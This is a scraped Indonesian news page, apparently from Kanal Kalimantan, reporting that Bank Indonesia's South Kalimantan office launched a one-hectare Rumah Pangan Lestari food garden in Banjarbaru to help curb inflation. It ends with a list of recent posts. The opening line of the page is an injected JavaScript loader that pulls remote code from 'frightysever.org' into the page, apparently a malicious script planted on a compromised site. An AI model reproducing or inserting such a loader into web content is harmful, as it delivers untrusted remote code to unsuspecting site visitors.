(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Tekan Inflasi, BI Bangun Rumah Pangan Lestari di Banjarbaru


BANJARBARU, Berbagai terobosan terus dilakukan Bank Indonesia (BI) Perwakilan Wilayah Kalsel untuk mendorong angka inflasi di Banua bisa terkendali. Salah satunya terbaru adalah dengan membangun Rumah Pangan Lestari (RPL) seluas satu hektar di daerah Landasan Ulin Banjarbaru yang dikelola langsung oleh BI Perwakilan Wilayah Kalsel.

RPL sendiri dimaksudkan untuk mendorong peningkatan produktifitas berbagai kebutuhan pokok di Kalsel secara mandiri tanpa harus tergantung dari daerah lain. Dengan demikian Kalsel bisa lebih terjaga angka inflasinya.

“Di lahan kurang lebih satu hektar ini rencananya akan kita tanam berbagai jenis sayuran seperti Cabai dan Tomat. Selain itu ada juga kita budidayakan ikan jenis lele,” ucap Kepala BI Perwakilan Kalsel Herawanto, Jumat (21/9) disela kegiatan Launching RPL Landasan Ulin.

Nantinya lanjut Herawanto, RPL akan dikelola oleh Kelompok Sadar Inflasi Bumi Tangi yang isinya adalah pegawai BI bekerjasama dengan kelompok Tani di wilayah Banjarbaru. “Ada pun hasilnya nanti akan dimanfaatkan untuk keperluan para pegawai BI dan jika masih ada sisa baru dijual kepasaran,” ungkapnya.

Herawanto pun berharap RPL ini kedepannya bisa menjadi tempat percontohan bagi instansi lainnya maupun kelompok masyarakat yang ingin membentuk Rumah Pangan. “Kita juga siap memberikan pelatihan bertani dan beternak kepada instansi atau pun masyarakat yang ingin belajar. Bahkan kami sudah mengembangkan berbagai teknologi  yang mampu meningkatkan produktifitas produksi pertanian,” tambahnya.

Sementara itu, Sekda Provinsi Kalsel Haris Makkie mengapresiasi kehadiran RPL di kawasan Kota Banjarbaru. Hal ini menurutnya sudah sejalan dengan upaya Pemprov Kalsel melalui gerakan revolusi hijau yang ingin menghidupkan banyak lahan tidur di Banua menjadi lahan produktif.

“Dengan di tanami berbagai macam sayuran di lahan tidur maka tentunya akan banyak sekali manfaat yang didapat. Pertama bisa menghasilkan berbagai tanaman untuk kebutuhan di rumah, kedua bisa membuat lahan kosong terhindar dari kebakaran,” jelasnya.

Ia pun berharap RPL yang di inisiasi oleh BI Perwakilan Kalsel kedepannya bisa dicontoh oleh instansi lainnya dan kelompok masyarakat. Dengan demikian ujungnya bisa mendorong banyak lahan tidur di Kalsel menjadi lebih produktif.

“Pemprov Kalsel tidak bisa sendiri untuk mensukseskan program revolusi hijau yang di gagas oleh Gubernur Kalsel H Sahbirin Noor. Perlu dukungan semua pihak tentunya agar program ini bisa diwujudkan,” pungkasnya. (arief)

Reporter : Arief
Editor : Chell

Desy Arfianty

Recent Posts

PAM Bandarmasih Ganti Pipa Kropos, Tiga Kecamatan Terdampak Seret Air

KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More

4 menit ago

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

15 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

18 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

18 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

20 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

22 jam ago

This website uses cookies.